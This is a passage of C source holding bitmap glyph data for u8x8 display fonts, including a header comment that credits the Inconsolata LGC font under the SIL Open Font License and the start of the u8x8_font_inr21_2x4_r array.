\"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0px\\36\\14\\4\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0p\\70\\34\\16\\34x`\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\30\\34\\16\\6\\6\\14\\30\\60\\60\\70\\34\\10\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\34\\34\\34\\0\\0\\0\\34\\34\\34\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0<|FBf|\\30\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\206\\206\\206\\216\\374\\370\\374\\216\\206\"\n  \"\\206\\216\\374\\374|\\376\\377\\303\\201\\201\\301\\377\\177\\377\\301\\301\\201\\201\\201\\301\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\6\\16\"\n  \"\\34<\\10\\0\\0\\17\\77\\177\\360\\300\\300\\200\\200\\200\\200\\300\\300\\340@\\0\\0\\0\\0\\0\\0 aAOOy\\71\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36<p \\0\\0\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0px>\\14\\4\\0\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@p\\70\\34\\16\\34x`\\0\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\10\\34\\34\\10\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\234\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\36<\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60|\\36\\16\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\60\\70\\14\\6\\16\\34\\70\\60\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\0\\34\\34\\34\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0dll\\70\\60\\360\\360\\230\\30\\20\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\15\"\n  \"\\77\\377\\374\\300\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\300\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30\\30\\14\\14\\14\\30\\70\\60\\60\\70\\30\\0\\0\\0\\0\\376\\376\\376\\30\\14\\14\\6\\6\\16\\36\"\n  \"\\374\\370\\300\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\4\\36<p \\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`x>\\14\\4\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\70\\34\\16\\34x`\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30\\34\\16\\6\\16\\34\\70\\60\\60\\70\\34\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\0\\34\\34\\34\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0`````cca``\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\306\\346~\\36\"\n  \"\\77\\373\\340\\0\\0\\17\\77\\377\\340\\360\\374\\217\\203\\201\\300\\340\\360\\177\\37\\3\\0\\0\\2\\7\\1\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\36x\\60\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0 x>\\16\\4\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0`\\70\\34\\16\\36\\70p \\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\0\\34\\34\\34\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60<\\36\\16\\0\\0\\0\\0\\0\\0\\6\\36~\\370\\300\\0\\0\\0\\0\\0\\300\"\n  \"\\374>\\16\\0\\0\\0\\0\\0\\3\\17~\\370\\300\\370\\77\\17\\1\\0\\0\\0 p```p\\70\\37\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\10\\14\\6\\6\\6\\6\\16\\34\"\n  \"\\374\\360\\300\\0\\0\\377\\377\\377\\300\\300\\200\\200\\200\\300\\300\\340\\177\\77\\17\\0\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\34\\34\\34\\0\\0\\0\\0\\0\\6\\36\\376\\360\\300\\0\\0\\0\\0\\200\\370\"\n  \"~\\16\\0\\0\\0\\0\\0\\0\\3\\17~\\370\\340|\\37\\3\\0\\0\\0\\0 p```\\60\\70\\17\\3\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr21_2x4_r[6084] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_r\") = \n  \" ~\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\343\\343\\303\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\370\\0\\0\\0\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\60\\0\\0\\0\\360\\360\\20\\0\\0\\0\\6\\6\\6\\346\\377\\77\\6\\6\\6\\366\\377\"\n  \"\\37\\6\\6\\6\\0\\6\\6\\306\\377\\77\\6\\6\\6\\346\\377\\77\\6\\6\\6\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\374\\374\\374\\60`\\340@\\0\\0\\0\\0\\7\\17\\37\\70\\60\\377\\377\\377`\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\60p`\\300\\300\\377\\377\\377\\340p\\177\\77\\6\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\60\\60\\360\\340\\300\\0\\0\\0\\300\\360p\\20\\0\\3\\7\\17\\14\\14\\17\\207\\343\\370>\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360|\\36\\7\\1|\\376\\377\\203\\203\\377\\376|\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60p\\340\\300\\0\\0\\0\\0\\0\\0\\0\\203\\317\\337x\\360\\360\\234\\37\\17\"\n  \"\\1\\0\\200\\0\\0<\\177\\377\\301\\200\\200\\200\\201\\307\\357~\\70\\374\\357\\307\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\60\\70\\34\\10\\0\\0\\0\\0\\0\\0\\360\\376\\377\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\36\\34\\70\"\n  \"p \\0\\0\\0\\0\\34\\70\\60p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\\376\\370\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\77\\3\\0\\0\\0\\0\\0\\0p\\70\\70\\34\\17\\7\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\60\\60\\240\\377\\377\\240\\60\\60\"\n  \"\\30\\30\\30\\0\\0\\0\\10\\34\\36\\7\\3\\0\\0\\3\\7\\36\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0``````\\377\\377\\377``\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\71\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0``````````\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\30\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370>\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\370>\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60\\60`\\340\\300\\0\\0\\0\\0\\374\\377\\377\\1\\0\\200\\300`\\70\\34\\7\"\n  \"\\377\\377\\370\\0\\0\\7\\37\\177\\376\\347\\303\\200\\200\\300\\300\\360\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300``\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`\\60\\60\\60\\60p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\"\n  \"\\177\\37\\6\\0\\0\\0\\200\\340\\360\\274\\236\\207\\203\\203\\201\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0``p\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0````\\360\\370\\337\"\n  \"\\217\\2\\0\\0\\0\\0@\\340\\300\\200\\200\\200\\200\\300\\341\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\0\\0\\0\\0\\0\\0\\200\\300p\\70\\16\\7\\1\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\6\\7\\7\\6\\6\\6\\6\\6\\377\\377\\377\\6\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\177\\177\\77\\30\\30\\30\\30\\70x\"\n  \"\\360\\340\\200\\0\\0\\0``\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340`p\\60\\60\\60p``\\0\\0\\0\\0\\374\\377\\377q\\60\\30\\30\\30\\70x\"\n  \"\\360\\340\\200\\0\\0\\0\\17\\77\\177\\340\\300\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\260\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\77\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\0\\7\\237\\337xp `p\\370\\237\"\n  \"\\217\\3\\0\\0\\0>\\177\\377\\340\\300\\200\\200\\200\\200\\300\\341\\177\\77\\10\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60\\60p\\340\\300\\200\\0\\0\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\300\\300\"\n  \"\\377\\377\\376\\0\\0\\0\\0\\300\\300\\301\\201\\201\\201\\301\\300\\360\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\71\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\0`\\360\\360\\270\\230\\34\\14\\16\\6\\7\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\1\\3\\3\\7\\6\\16\\14\\30\\70\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\14\\0\\0\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\6\\16\\14\\34\\230\"\n  \"\\270\\360\\360`\\0`p\\70\\30\\34\\14\\16\\6\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 p\\70\\30\\34\\14\\14\\14\\34\\30\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360x\\34\\37\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\303\\343\\343\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\0\\0\\374\\377\\377\\3\\0\\360\\370\\374\\16\\6\\6\\6\"\n  \"\\377\\377\\377\\0\\3\\37\\77x\\340\\301\\303\\207\\207\\206\\206\\303\\301\\207\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377``````\\360\\370\"\n  \"\\237\\217\\3\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\300\\301\\377\\177>\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\200\\0\\374\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\0\\7\\37\\77x\\340\\300\\300\\200\\200\\200\\300\\300\\340` \\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\377\\377\\374\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\300\\340p\\77\\37\\7\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"`\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\377\\377\\377\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\60\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\200\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\201\\200\\0\\7\\37\\77x\\340\\300\\300\\200\\200\\201\\201\\301\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377````````\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  